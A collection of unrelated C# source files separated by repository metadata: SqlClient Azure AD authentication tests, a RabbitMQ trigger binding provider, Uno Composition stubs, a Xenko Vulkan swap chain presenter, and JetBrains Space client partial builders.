InvalidOperationException e = Assert.Throws<InvalidOperationException>(() => connection.AccessToken = DataTestUtility.GetAccessToken()); string expectedMessage = "Cannot set the AccessToken property if 'UserID', 'UID', 'Password', or 'PWD' has been specified in connection string."; Assert.Contains(expectedMessage, e.Message); } } [ConditionalFact(nameof(IsAccessTokenSetup), nameof(IsAADConnStringsSetup))] public static void AccessTokenTestWithEmptyToken() { // Remove cred info and add invalid token string[] credKeys = { "User ID", "Password", "UID", "PWD", "Authentication" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, credKeys); using (SqlConnection connection = new SqlConnection(connStr)) { connection.AccessToken = ""; SqlException e = Assert.Throws<SqlException>(() => connection.Open()); string expectedMessage = "A connection was successfully established with the server, but then an error occurred during the login process."; Assert.Contains(expectedMessage, e.Message); } } [ConditionalFact(nameof(IsAccessTokenSetup), nameof(IsAADConnStringsSetup))] public static void AccessTokenTestWithIntegratedSecurityTrue() { // Remove cred info and add invalid token string[] credKeys = { "User ID", "Password", "UID", "PWD", "Authentication" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, credKeys) + "Integrated Security=True;"; using (SqlConnection connection = new SqlConnection(connStr)) { InvalidOperationException e = Assert.Throws<InvalidOperationException>(() => connection.AccessToken = ""); string expectedMessage = "Cannot set the AccessToken property if the 'Integrated Security' connection string keyword has been set to 'true' or 'SSPI'."; Assert.Contains(expectedMessage, e.Message); } } [ConditionalFact(nameof(IsAccessTokenSetup), nameof(IsAADConnStringsSetup))] public static void InvalidAuthTypeTest() { // Remove cred info and add invalid token string[] credKeys = { "Authentication" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, credKeys) + "Authentication=Active Directory Pass;"; ArgumentException e = Assert.Throws<ArgumentException>(() => ConnectAndDisconnect(connStr)); string expectedMessage = "Invalid value for key 'authentication'."; Assert.Contains(expectedMessage, e.Message); } [ConditionalFact(nameof(IsAccessTokenSetup), nameof(IsAADConnStringsSetup))] public static void AADPasswordWithIntegratedSecurityTrue() { string connStr = DataTestUtility.AADPasswordConnectionString + "Integrated Security=True;"; ArgumentException e = Assert.Throws<ArgumentException>(() => ConnectAndDisconnect(connStr)); string expectedMessage = "Cannot use 'Authentication' with 'Integrated Security'."; Assert.Contains(expectedMessage, e.Message); } [ConditionalFact(nameof(IsAccessTokenSetup), nameof(IsAADConnStringsSetup))] public static void AADPasswordWithWrongPassword() { string[] credKeys = { "Password", "PWD" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, credKeys) + "Password=TestPassword;"; AggregateException e = Assert.Throws<AggregateException>(() => ConnectAndDisconnect(connStr)); string expectedMessage = "ID3242: The security token could not be authenticated or authorized."; Assert.Contains(expectedMessage, e.InnerException.InnerException.InnerException.Message); } [ConditionalFact(nameof(IsAADConnStringsSetup))] public static void GetAccessTokenByPasswordTest() { using (SqlConnection connection = new SqlConnection(DataTestUtility.AADPasswordConnectionString)) { connection.Open(); } } [ConditionalFact(nameof(IsAADConnStringsSetup))] public static void testADPasswordAuthentication() { // Connect to Azure DB with password and retrieve user name. try { using (SqlConnection conn = new SqlConnection(DataTestUtility.AADPasswordConnectionString)) { conn.Open(); using (SqlCommand sqlCommand = new SqlCommand ( cmdText: $"SELECT SUSER_SNAME();", connection: conn, transaction: null )) { string customerId = (string)sqlCommand.ExecuteScalar(); string expected = RetrieveValueFromConnStr(DataTestUtility.AADPasswordConnectionString, "User ID"); Assert.Equal(expected, customerId); } } } catch (SqlException e) { throw e; } } [ConditionalFact(nameof(IsAADConnStringsSetup))] public static void ActiveDirectoryPasswordWithNoAuthType() { // connection fails with expected error message. string[] AuthKey = { "Authentication" }; string connStrWithNoAuthType = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, AuthKey); SqlException e = Assert.Throws<SqlException>(() => ConnectAndDisconnect(connStrWithNoAuthType)); string expectedMessage = "Cannot open server \"microsoft.com\" requested by the login. The login failed."; Assert.Contains(expectedMessage, e.Message); } [ConditionalFact(nameof(IsAADConnStringsSetup))] [SkipOnTargetFramework(TargetFrameworkMonikers.Netcoreapp)] public static void IntegratedAuthWithCred() { // connection fails with expected error message. string[] AuthKey = { "Authentication" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, AuthKey) + "Authentication=Active Directory Integrated;"; ArgumentException e = Assert.Throws<ArgumentException>(() => ConnectAndDisconnect(connStr)); string expectedMessage = "Cannot use 'Authentication=Active Directory Integrated' with 'User ID', 'UID', 'Password' or 'PWD' connection string keywords."; Assert.Contains(expectedMessage, e.Message); } [ConditionalFact(nameof(IsAADConnStringsSetup))] [SkipOnTargetFramework(TargetFrameworkMonikers.Netcoreapp)] public static void MFAAuthWithCred() { // connection fails with expected error message. string[] AuthKey = { "Authentication" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, AuthKey) + "Authentication=Active Directory Interactive;"; ArgumentException e = Assert.Throws<ArgumentException>(() => ConnectAndDisconnect(connStr)); string expectedMessage = "Cannot use 'Authentication=Active Directory Interactive' with 'User ID', 'UID', 'Password' or 'PWD' connection string keywords."; Assert.Contains(expectedMessage, e.Message); } [ConditionalFact(nameof(IsAADConnStringsSetup))] public static void EmptyPasswordInConnStrAADPassword() { // connection fails with expected error message. string[] pwdKey = { "Password", "PWD" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, pwdKey) + "Password=;"; AggregateException e = Assert.Throws<AggregateException>(() => ConnectAndDisconnect(connStr)); string expectedMessage = "ID3242: The security token could not be authenticated or authorized."; Assert.Contains(expectedMessage, e.InnerException.InnerException.InnerException.Message); } [SkipOnTargetFramework(TargetFrameworkMonikers.Netcoreapp)] [ConditionalFact(nameof(IsAADConnStringsSetup))] public static void EmptyCredInConnStrAADPasswordNetFx() { // connection fails with expected error message. string[] removeKeys = { "User ID", "Password", "UID", "PWD" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, removeKeys) + "User ID=; Password=;"; AggregateException e = Assert.Throws<AggregateException>(() => ConnectAndDisconnect(connStr)); string expectedMessage = "Failed to get user name"; Assert.Contains(expectedMessage, e.InnerException.InnerException.InnerException.Message); } [SkipOnTargetFramework(TargetFrameworkMonikers.NetFramework)] [ConditionalFact(nameof(IsAADConnStringsSetup))] public static void EmptyCredInConnStrAADPasswordNetCore() { // connection fails with expected error message. string[] removeKeys = { "User ID", "Password", "UID", "PWD" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, removeKeys) + "User ID=; Password=;"; AggregateException e = Assert.Throws<AggregateException>(() => ConnectAndDisconnect(connStr)); string expectedMessage = "Could not identify the user logged into the OS"; Assert.Contains(expectedMessage, e.InnerException.InnerException.InnerException.Message); } [ConditionalFact(nameof(IsAADConnStringsSetup))] public static void AADPasswordWithInvalidUser() { // connection fails with expected error message. string[] removeKeys = { "User ID", "UID" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, removeKeys) + "User [email protected]"; AggregateException e = Assert.Throws<AggregateException>(() => ConnectAndDisconnect(connStr)); string expectedMessage = "ID3242: The security token could not be authenticated or authorized."; Assert.Contains(expectedMessage, e.InnerException.InnerException.InnerException.Message); } [ConditionalFact(nameof(IsAADConnStringsSetup))] public static void NoCredentialsActiveDirectoryPassword() { // test Passes with correct connection string. ConnectAndDisconnect(DataTestUtility.AADPasswordConnectionString); // connection fails with expected error message. string[] credKeys = { "User ID", "Password", "UID", "PWD" }; string connStrWithNoCred = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, credKeys); InvalidOperationException e = Assert.Throws<InvalidOperationException>(() => ConnectAndDisconnect(connStrWithNoCred)); string expectedMessage = "Either Credential or both 'User ID' and 'Password' (or 'UID' and 'PWD') connection string keywords must be specified, if 'Authentication=Active Directory Password'."; Assert.Contains(expectedMessage, e.Message); } } }
47.867435
204
0.625286
[ "MIT" ]
Youssef1313/SqlClient
src/Microsoft.Data.SqlClient/tests/ManualTests/SQL/ConnectivityTests/AADConnectionTest.cs
16,612
C#
namespace SharpCms.Core.DataObjects { public enum PageState { Live, Preview, Editor } }
14.555556
36
0.519084
[ "MIT" ]
JuergenGutsch/sharpcms
SharpCms/SharpCms.Core/DataObjects/PageState.cs
131
C#
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. using System; using System.Reflection; using System.Threading.Tasks; using Microsoft.Azure.WebJobs.Host; using Microsoft.Azure.WebJobs.Host.Triggers; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.Logging; using Microsoft.Extensions.Options; namespace Microsoft.Azure.WebJobs.Extensions.RabbitMQ { internal class RabbitMQTriggerAttributeBindingProvider : ITriggerBindingProvider { private readonly INameResolver _nameResolver; private readonly RabbitMQExtensionConfigProvider _provider; private readonly ILogger _logger; private readonly IOptions<RabbitMQOptions> _options; private readonly IConfiguration _configuration; public RabbitMQTriggerAttributeBindingProvider( INameResolver nameResolver, RabbitMQExtensionConfigProvider provider, ILogger logger, IOptions<RabbitMQOptions> options, IConfiguration configuration) { _nameResolver = nameResolver ?? throw new ArgumentNullException(nameof(nameResolver)); _provider = provider ?? throw new ArgumentNullException(nameof(provider)); _logger = logger ?? throw new ArgumentNullException(nameof(logger)); _options = options; _configuration = configuration; } public Task<ITriggerBinding> TryCreateAsync(TriggerBindingProviderContext context) { if (context == null) { throw new ArgumentNullException(nameof(context)); } ParameterInfo parameter = context.Parameter; RabbitMQTriggerAttribute attribute = parameter.GetCustomAttribute<RabbitMQTriggerAttribute>(inherit: false); if (attribute == null) { return Task.FromResult<ITriggerBinding>(null); } string connectionString = Utility.ResolveConnectionString(attribute.ConnectionStringSetting, _options.Value.ConnectionString, _configuration); string queueName = Resolve(attribute.QueueName) ?? throw new InvalidOperationException("RabbitMQ queue name is missing"); bool queueDurable = attribute.QueueDurable; string hostName = Resolve(attribute.HostName) ?? Constants.LocalHost; string userName = Resolve(attribute.UserNameSetting); string password = Resolve(attribute.PasswordSetting); string deadLetterExchangeName = Resolve(attribute.DeadLetterExchangeName) ?? string.Empty; int port = attribute.Port; if (string.IsNullOrEmpty(connectionString) && !Utility.ValidateUserNamePassword(userName, password, hostName)) { throw new InvalidOperationException("RabbitMQ username and password required if not connecting to localhost"); } IRabbitMQService service = _provider.GetService(connectionString, hostName, queueName, queueDurable, userName, password, port, deadLetterExchangeName); return Task.FromResult<ITriggerBinding>(new RabbitMQTriggerBinding(service, hostName, queueName, _logger)); } private string Resolve(string name) { return _nameResolver.ResolveWholeString(name) ?? name; } } }
41.892857
164
0.678886
[ "MIT" ]
swtrse/azure-functions-rabbitmq-extension
src/Trigger/RabbitMQTriggerAttributeBindingProvider.cs
3,521
C#
#pragma warning disable 108 // new keyword hiding #pragma warning disable 114 // new keyword hiding namespace Windows.UI.Composition { #if __ANDROID__ || __IOS__ || NET46 || __WASM__ || __MACOS__ [global::Uno.NotImplemented] #endif public partial class CompositionShape : global::Windows.UI.Composition.CompositionObject { #if __ANDROID__ || __IOS__ || NET46 || __WASM__ || __MACOS__ [global::Uno.NotImplemented] public global::System.Numerics.Matrix3x2 TransformMatrix { get { throw new global::System.NotImplementedException("The member Matrix3x2 CompositionShape.TransformMatrix is not implemented in Uno."); } set { global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.UI.Composition.CompositionShape", "Matrix3x2 CompositionShape.TransformMatrix"); } } #endif #if __ANDROID__ || __IOS__ || NET46 || __WASM__ || __MACOS__ [global::Uno.NotImplemented] public global::System.Numerics.Vector2 Scale { get { throw new global::System.NotImplementedException("The member Vector2 CompositionShape.Scale is not implemented in Uno."); } set { global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.UI.Composition.CompositionShape", "Vector2 CompositionShape.Scale"); } } #endif #if __ANDROID__ || __IOS__ || NET46 || __WASM__ || __MACOS__ [global::Uno.NotImplemented] public float RotationAngleInDegrees { get { throw new global::System.NotImplementedException("The member float CompositionShape.RotationAngleInDegrees is not implemented in Uno."); } set { global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.UI.Composition.CompositionShape", "float CompositionShape.RotationAngleInDegrees"); } } #endif #if __ANDROID__ || __IOS__ || NET46 || __WASM__ || __MACOS__ [global::Uno.NotImplemented] public float RotationAngle { get { throw new global::System.NotImplementedException("The member float CompositionShape.RotationAngle is not implemented in Uno."); } set { global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.UI.Composition.CompositionShape", "float CompositionShape.RotationAngle"); } } #endif #if __ANDROID__ || __IOS__ || NET46 || __WASM__ || __MACOS__ [global::Uno.NotImplemented] public global::System.Numerics.Vector2 Offset { get { throw new global::System.NotImplementedException("The member Vector2 CompositionShape.Offset is not implemented in Uno."); } set { global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.UI.Composition.CompositionShape", "Vector2 CompositionShape.Offset"); } } #endif #if __ANDROID__ || __IOS__ || NET46 || __WASM__ || __MACOS__ [global::Uno.NotImplemented] public global::System.Numerics.Vector2 CenterPoint { get { throw new global::System.NotImplementedException("The member Vector2 CompositionShape.CenterPoint is not implemented in Uno."); } set { global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.UI.Composition.CompositionShape", "Vector2 CompositionShape.CenterPoint"); } } #endif // Forced skipping of method Windows.UI.Composition.CompositionShape.CenterPoint.get // Forced skipping of method Windows.UI.Composition.CompositionShape.CenterPoint.set // Forced skipping of method Windows.UI.Composition.CompositionShape.Offset.get // Forced skipping of method Windows.UI.Composition.CompositionShape.Offset.set // Forced skipping of method Windows.UI.Composition.CompositionShape.RotationAngle.get // Forced skipping of method Windows.UI.Composition.CompositionShape.RotationAngle.set // Forced skipping of method Windows.UI.Composition.CompositionShape.RotationAngleInDegrees.get // Forced skipping of method Windows.UI.Composition.CompositionShape.RotationAngleInDegrees.set // Forced skipping of method Windows.UI.Composition.CompositionShape.Scale.get // Forced skipping of method Windows.UI.Composition.CompositionShape.Scale.set // Forced skipping of method Windows.UI.Composition.CompositionShape.TransformMatrix.get // Forced skipping of method Windows.UI.Composition.CompositionShape.TransformMatrix.set } }
39.925926
170
0.762059
[ "Apache-2.0" ]
AlexTrepanier/Uno
src/Uno.UWP/Generated/3.0.0.0/Windows.UI.Composition/CompositionShape.cs
4,312
C#
// Copyright (c) Xenko contributors (https://xenko.com) and Silicon Studio Corp. (https://www.siliconstudio.co.jp) // Distributed under the MIT license. See the LICENSE.md file in the project root for more information. #if XENKO_GRAPHICS_API_VULKAN using System; using System.Collections.Concurrent; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Runtime.InteropServices; using Vortice.Vulkan; using static Vortice.Vulkan.Vulkan; using System.Threading; using Xenko.Core; using Xenko.Core.Threading; using System.Runtime.ExceptionServices; namespace Xenko.Graphics { /// <summary> /// Graphics presenter for SwapChain. /// </summary> public class SwapChainGraphicsPresenter : GraphicsPresenter { private VkSwapchainKHR swapChain = VkSwapchainKHR.Null; private VkSurfaceKHR surface; private Texture backbuffer; private SwapChainImageInfo[] swapchainImages; private uint currentBufferIndex; private VkFence presentFence; private struct SwapChainImageInfo { public VkImage NativeImage; public VkImageView NativeColorAttachmentView; } public SwapChainGraphicsPresenter(GraphicsDevice device, PresentationParameters presentationParameters) : base(device, presentationParameters) { PresentInterval = presentationParameters.PresentationInterval; backbuffer = new Texture(device); CreateSurface(); // Initialize the swap chain CreateSwapChain(); } public override Texture BackBuffer { get { return backbuffer; } } public override object NativePresenter { get { return swapChain; } } public override bool InternalFullscreen { get; set; } private ManualResetEventSlim presentWaiter = new ManualResetEventSlim(false); private Thread presenterThread; private bool runPresenter; private volatile uint presentFrame; [HandleProcessCorruptedStateExceptionsAttribute] private unsafe void PresenterThread() { VkSwapchainKHR swapChainCopy = swapChain; uint currentBufferIndexCopy = 0; VkPresentInfoKHR presentInfo = new VkPresentInfoKHR { sType = VkStructureType.PresentInfoKHR, swapchainCount = 1, pSwapchains = &swapChainCopy, pImageIndices = &currentBufferIndexCopy, }; try { while (runPresenter) { // wait until we have a frame to present presentWaiter.Wait(); // set the frame currentBufferIndexCopy = presentFrame; // prepare for next frame presentWaiter.Reset(); // are we still OK to present? if (runPresenter == false) return; using (GraphicsDevice.QueueLock.WriteLock()) { vkQueuePresentKHR(GraphicsDevice.NativeCommandQueue, &presentInfo); } } } catch (AccessViolationException ave) { Xenko.Graphics.SDL.Window.GeneratePresentError(); } } public override unsafe void Present() { // remember which frame we need to present (for presenting thread) presentFrame = currentBufferIndex; VkResult result; // try to get the next frame using (GraphicsDevice.QueueLock.ReadLock()) { result = vkAcquireNextImageKHR(GraphicsDevice.NativeDevice, swapChain, (ulong)0, VkSemaphore.Null, VkFence.Null, out currentBufferIndex); } // say we can present presentWaiter.Set(); if ((int)result < 0) { Xenko.Graphics.SDL.Window.GenerateSwapchainError("vkAcquireNextImageKHR result: " + (int)result); } // did we get another image? while ((int)result > 0) { // try to get the next frame (again) using (GraphicsDevice.QueueLock.ReadLock()) { result = vkAcquireNextImageKHR(GraphicsDevice.NativeDevice, swapChain, (ulong)0, VkSemaphore.Null, VkFence.Null, out currentBufferIndex); } } // Flip render targets backbuffer.SetNativeHandles(swapchainImages[currentBufferIndex].NativeImage, swapchainImages[currentBufferIndex].NativeColorAttachmentView); } public override void BeginDraw(CommandList commandList) { // Backbuffer needs to be cleared backbuffer.IsInitialized = false; } public override void EndDraw(CommandList commandList, bool present) { } protected override void OnNameChanged() { base.OnNameChanged(); } /// <inheritdoc/> protected internal override unsafe void OnDestroyed() { DestroySwapchain(); vkDestroySurfaceKHR(GraphicsDevice.NativeInstance, surface, null); surface = VkSurfaceKHR.Null; base.OnDestroyed(); } /// <inheritdoc/> public override void OnRecreated() { base.OnRecreated(); // not supported } protected unsafe override void ResizeBackBuffer(int width, int height, PixelFormat format) { // not supported } protected override void ResizeDepthStencilBuffer(int width, int height, PixelFormat format) { // not supported } private unsafe void DestroySwapchain() { if (swapChain == VkSwapchainKHR.Null) return; // stop our presenter thread if( presenterThread != null ) { runPresenter = false; presentWaiter.Set(); presenterThread.Join(); } vkQueueWaitIdle(GraphicsDevice.NativeCommandQueue); backbuffer.OnDestroyed(); foreach (var swapchainImage in swapchainImages) { vkDestroyImageView(GraphicsDevice.NativeDevice, swapchainImage.NativeColorAttachmentView, null); } swapchainImages = null; vkDestroySwapchainKHR(GraphicsDevice.NativeDevice, swapChain, null); swapChain = VkSwapchainKHR.Null; } private unsafe void CreateSwapChain() { // we are destroying the swap chain now, because it causes lots of other things to be reset too (like all commandbufferpools) // normally we pass the old swapchain to the create new swapchain Vulkan call... but I haven't figured out a stable way of // preserving the old swap chain to be passed during the new swapchain creation, and then destroying just the old swapchain parts. // might have to reset the command buffers and pipeline stuff after swapchain handoff... for another day e.g. TODO DestroySwapchain(); var formats = new[] { PixelFormat.B8G8R8A8_UNorm_SRgb, PixelFormat.R8G8B8A8_UNorm_SRgb, PixelFormat.B8G8R8A8_UNorm, PixelFormat.R8G8B8A8_UNorm }; foreach (var format in formats) { var nativeFromat = VulkanConvertExtensions.ConvertPixelFormat(format); vkGetPhysicalDeviceFormatProperties(GraphicsDevice.NativePhysicalDevice, nativeFromat, out var formatProperties); if ((formatProperties.optimalTilingFeatures & VkFormatFeatureFlags.ColorAttachment) != 0) { Description.BackBufferFormat = format; break; } } // Queue // TODO VULKAN: Queue family is needed when creating the Device, so here we can just do a sanity check? var queueNodeIndex = vkGetPhysicalDeviceQueueFamilyProperties(GraphicsDevice.NativePhysicalDevice).ToArray(). Where((properties, index) => (properties.queueFlags & VkQueueFlags.Graphics) != 0 && vkGetPhysicalDeviceSurfaceSupportKHR(GraphicsDevice.NativePhysicalDevice, (uint)index, surface, out var supported) == VkResult.Success && supported == 1). Select((properties, index) => index).First(); // Surface format var backBufferFormat = VulkanConvertExtensions.ConvertPixelFormat(Description.BackBufferFormat); var surfaceFormats = vkGetPhysicalDeviceSurfaceFormatsKHR(GraphicsDevice.NativePhysicalDevice, surface).ToArray(); if ((surfaceFormats.Length != 1 || surfaceFormats[0].format != VkFormat.Undefined) && !surfaceFormats.Any(x => x.format == backBufferFormat)) { backBufferFormat = surfaceFormats[0].format; } // Create swapchain vkGetPhysicalDeviceSurfaceCapabilitiesKHR(GraphicsDevice.NativePhysicalDevice, surface, out var surfaceCapabilities); // Buffer count uint desiredImageCount = Math.Max(surfaceCapabilities.minImageCount, 6); if (surfaceCapabilities.maxImageCount > 0 && desiredImageCount > surfaceCapabilities.maxImageCount) { desiredImageCount = surfaceCapabilities.maxImageCount; } // Transform VkSurfaceTransformFlagsKHR preTransform; if ((surfaceCapabilities.supportedTransforms & VkSurfaceTransformFlagsKHR.Identity) != 0) { preTransform = VkSurfaceTransformFlagsKHR.Identity; } else { preTransform = surfaceCapabilities.currentTransform; } // Find present mode var swapChainPresentMode = VkPresentModeKHR.Fifo; // Always supported, but slow if (Description.PresentationInterval == PresentInterval.Immediate) { var presentModes = vkGetPhysicalDeviceSurfacePresentModesKHR(GraphicsDevice.NativePhysicalDevice, surface); foreach (var pm in presentModes) { if (pm == VkPresentModeKHR.Mailbox) { swapChainPresentMode = VkPresentModeKHR.Mailbox; break; } } } // Create swapchain var swapchainCreateInfo = new VkSwapchainCreateInfoKHR { sType = VkStructureType.SwapchainCreateInfoKHR, surface = surface, imageArrayLayers = 1, imageSharingMode = VkSharingMode.Exclusive, imageExtent = new Vortice.Vulkan.VkExtent2D(Description.BackBufferWidth, Description.BackBufferHeight), imageFormat = backBufferFormat, imageColorSpace = Description.ColorSpace == ColorSpace.Gamma ? VkColorSpaceKHR.SrgbNonLinear : 0, imageUsage = VkImageUsageFlags.ColorAttachment | VkImageUsageFlags.TransferDst | (surfaceCapabilities.supportedUsageFlags & VkImageUsageFlags.TransferSrc), // TODO VULKAN: Use off-screen buffer to emulate presentMode = swapChainPresentMode, compositeAlpha = VkCompositeAlphaFlagsKHR.Opaque, minImageCount = desiredImageCount, preTransform = preTransform, oldSwapchain = swapChain, clipped = 1 }; vkCreateSwapchainKHR(GraphicsDevice.NativeDevice, &swapchainCreateInfo, null, out swapChain); CreateBackBuffers(); // resize/create stencil buffers var newTextureDescription = DepthStencilBuffer.Description; newTextureDescription.Width = Description.BackBufferWidth; newTextureDescription.Height = Description.BackBufferHeight; // Manually update the texture DepthStencilBuffer.OnDestroyed(); // Put it in our back buffer texture DepthStencilBuffer.InitializeFrom(newTextureDescription); // start new presentation thread runPresenter = true; presenterThread = new Thread(new ThreadStart(PresenterThread)); presenterThread.IsBackground = true; presenterThread.Name = "Vulkan Presentation Thread"; presenterThread.Priority = ThreadPriority.AboveNormal; presenterThread.Start(); } private unsafe void CreateSurface() { // Check for Window Handle parameter if (Description.DeviceWindowHandle == null) { throw new ArgumentException("DeviceWindowHandle cannot be null"); } // Create surface #if XENKO_UI_SDL var control = Description.DeviceWindowHandle.NativeWindow as SDL.Window; if (SDL2.SDL.SDL_Vulkan_CreateSurface(control.SdlHandle, GraphicsDevice.NativeInstance.Handle, out ulong surfacePtr) == SDL2.SDL.SDL_bool.SDL_FALSE) Xenko.Graphics.SDL.Window.GenerateCreationError(); surface = new VkSurfaceKHR(surfacePtr); #elif XENKO_PLATFORM_WINDOWS var controlHandle = Description.DeviceWindowHandle.Handle; if (controlHandle == IntPtr.Zero) { throw new NotSupportedException($"Form of type [{Description.DeviceWindowHandle.GetType().Name}] is not supported. Only System.Windows.Control are supported"); } var surfaceCreateInfo = new VkWin32SurfaceCreateInfoKHR { sType = VkStructureType.Win32SurfaceCreateInfoKHR, instanceHandle = Process.GetCurrentProcess().Handle, windowHandle = controlHandle, }; surface = GraphicsDevice.NativeInstance.CreateWin32Surface(surfaceCreateInfo); #elif XENKO_PLATFORM_ANDROID throw new NotImplementedException(); #elif XENKO_PLATFORM_LINUX throw new NotSupportedException("Only SDL is supported for the time being on Linux"); #else throw new NotSupportedException(); #endif } private unsafe void CreateBackBuffers() { backbuffer.OnDestroyed(); // Create the texture object var backBufferDescription = new TextureDescription { ArraySize = 1, Dimension = TextureDimension.Texture2D, Height = Description.BackBufferHeight, Width = Description.BackBufferWidth, Depth = 1, Flags = TextureFlags.RenderTarget, Format = Description.BackBufferFormat, MipLevels = 1, MultisampleCount = MultisampleCount.None, Usage = GraphicsResourceUsage.Default }; backbuffer.InitializeWithoutResources(backBufferDescription); var createInfo = new VkImageViewCreateInfo { sType = VkStructureType.ImageViewCreateInfo, subresourceRange = new VkImageSubresourceRange(VkImageAspectFlags.Color, 0, 1, 0, 1), format = backbuffer.NativeFormat, viewType = VkImageViewType.Image2D, }; // We initialize swapchain images to PresentSource, since we swap them out while in this layout. backbuffer.NativeAccessMask = VkAccessFlags.MemoryRead; backbuffer.NativeLayout = VkImageLayout.PresentSrcKHR; var imageMemoryBarrier = new VkImageMemoryBarrier { sType = VkStructureType.ImageMemoryBarrier, subresourceRange = new VkImageSubresourceRange(VkImageAspectFlags.Color, 0, 1, 0, 1), oldLayout = VkImageLayout.Undefined, newLayout = VkImageLayout.PresentSrcKHR, srcAccessMask = VkAccessFlags.None, dstAccessMask = VkAccessFlags.MemoryRead }; var commandBuffer = GraphicsDevice.NativeCopyCommandBuffer; var beginInfo = new VkCommandBufferBeginInfo { sType = VkStructureType.CommandBufferBeginInfo }; vkBeginCommandBuffer(commandBuffer, &beginInfo); var buffers = vkGetSwapchainImagesKHR(GraphicsDevice.NativeDevice, swapChain); swapchainImages = new SwapChainImageInfo[buffers.Length]; for (int i = 0; i < buffers.Length; i++) { // Create image views swapchainImages[i].NativeImage = createInfo.image = buffers[i]; vkCreateImageView(GraphicsDevice.NativeDevice, &createInfo, null, out swapchainImages[i].NativeColorAttachmentView); // Transition to default layout imageMemoryBarrier.image = buffers[i]; vkCmdPipelineBarrier(commandBuffer, VkPipelineStageFlags.AllCommands, VkPipelineStageFlags.AllCommands, VkDependencyFlags.None, 0, null, 0, null, 1, &imageMemoryBarrier); } // Close and submit vkEndCommandBuffer(commandBuffer); var submitInfo = new VkSubmitInfo { sType = VkStructureType.SubmitInfo, commandBufferCount = 1, pCommandBuffers = &commandBuffer, }; vkQueueSubmit(GraphicsDevice.NativeCommandQueue, 1, &submitInfo, VkFence.Null); vkQueueWaitIdle(GraphicsDevice.NativeCommandQueue); vkResetCommandBuffer(commandBuffer, VkCommandBufferResetFlags.None); vkAcquireNextImageKHR(GraphicsDevice.NativeDevice, swapChain, ulong.MaxValue, VkSemaphore.Null, VkFence.Null, out currentBufferIndex); // Apply the first swap chain image to the texture backbuffer.SetNativeHandles(swapchainImages[currentBufferIndex].NativeImage, swapchainImages[currentBufferIndex].NativeColorAttachmentView); } } } #endif
40.783964
255
0.61659
[ "MIT" ]
aunpyz0/FocusEngine
sources/engine/Xenko.Graphics/Vulkan/SwapChainGraphicsPresenter.Vulkan.cs
18,312
C#
using Obilet.Web.Models.ObiletApiModels.Response.GetBusLocation; using Obilet.Web.Models.User; using System; namespace Obilet.Web.Models.Trip { public class TripModel { public GetBusLocationResponseModel BusLocations { get; set; } public long OriginId { get; set; } public long DestinationId { get; set; } public DateTimeOffset DepartureDate { get; set; } public LastSearchModel LastSearchModel { get; set; } } }
24.3
69
0.668724
[ "MIT" ]
ardansisman/BasicJourneyQueryObiletAPI
Obilet.Web/Models/Trip/TripModel.cs
488
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. using Xunit; namespace System.ComponentModel.Tests { public class InitializationEventAttributeTests { [Theory] [InlineData(null)] [InlineData("")] [InlineData("test name")] public void Ctor_EventName(string eventName) { var attribute = new InitializationEventAttribute(eventName); Assert.Equal(eventName, attribute.EventName); } } }
26.857143
72
0.656028
[ "MIT" ]
2m0nd/runtime
src/libraries/System.ComponentModel.Primitives/tests/System/ComponentModel/InitializationEventAttributeTests.cs
564
C#
// ------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> // ------------------------------------------------------------------------------ #nullable enable #pragma warning disable CS1591 #pragma warning disable CS0108 #pragma warning disable 618 using System; using System.Collections.Generic; using System.Collections.Specialized; using System.ComponentModel.DataAnnotations; using System.Globalization; using System.Linq; using System.Runtime.Serialization; using System.Text.Json.Serialization; using System.Threading; using System.Threading.Tasks; using JetBrains.Space.Common; using JetBrains.Space.Common.Json.Serialization; using JetBrains.Space.Common.Json.Serialization.Polymorphism; using JetBrains.Space.Common.Types; namespace JetBrains.Space.Client.RepoCommitsSubscriptionFilterPartialBuilder { public static class RepoCommitsSubscriptionFilterPartialExtensions { public static Partial<RepoCommitsSubscriptionFilter> WithProjects(this Partial<RepoCommitsSubscriptionFilter> it) => it.AddFieldName("projects"); public static Partial<RepoCommitsSubscriptionFilter> WithProjects(this Partial<RepoCommitsSubscriptionFilter> it, Func<Partial<PRProject>, Partial<PRProject>> partialBuilder) => it.AddFieldName("projects", partialBuilder(new Partial<PRProject>(it))); public static Partial<RepoCommitsSubscriptionFilter> WithRepository(this Partial<RepoCommitsSubscriptionFilter> it) => it.AddFieldName("repository"); public static Partial<RepoCommitsSubscriptionFilter> WithSpec(this Partial<RepoCommitsSubscriptionFilter> it) => it.AddFieldName("spec"); public static Partial<RepoCommitsSubscriptionFilter> WithSpec(this Partial<RepoCommitsSubscriptionFilter> it, Func<Partial<RepoCommitsSubscriptionFilterSpec>, Partial<RepoCommitsSubscriptionFilterSpec>> partialBuilder) => it.AddFieldName("spec", partialBuilder(new Partial<RepoCommitsSubscriptionFilterSpec>(it))); } }
43.596154
226
0.712395
[ "Apache-2.0" ]
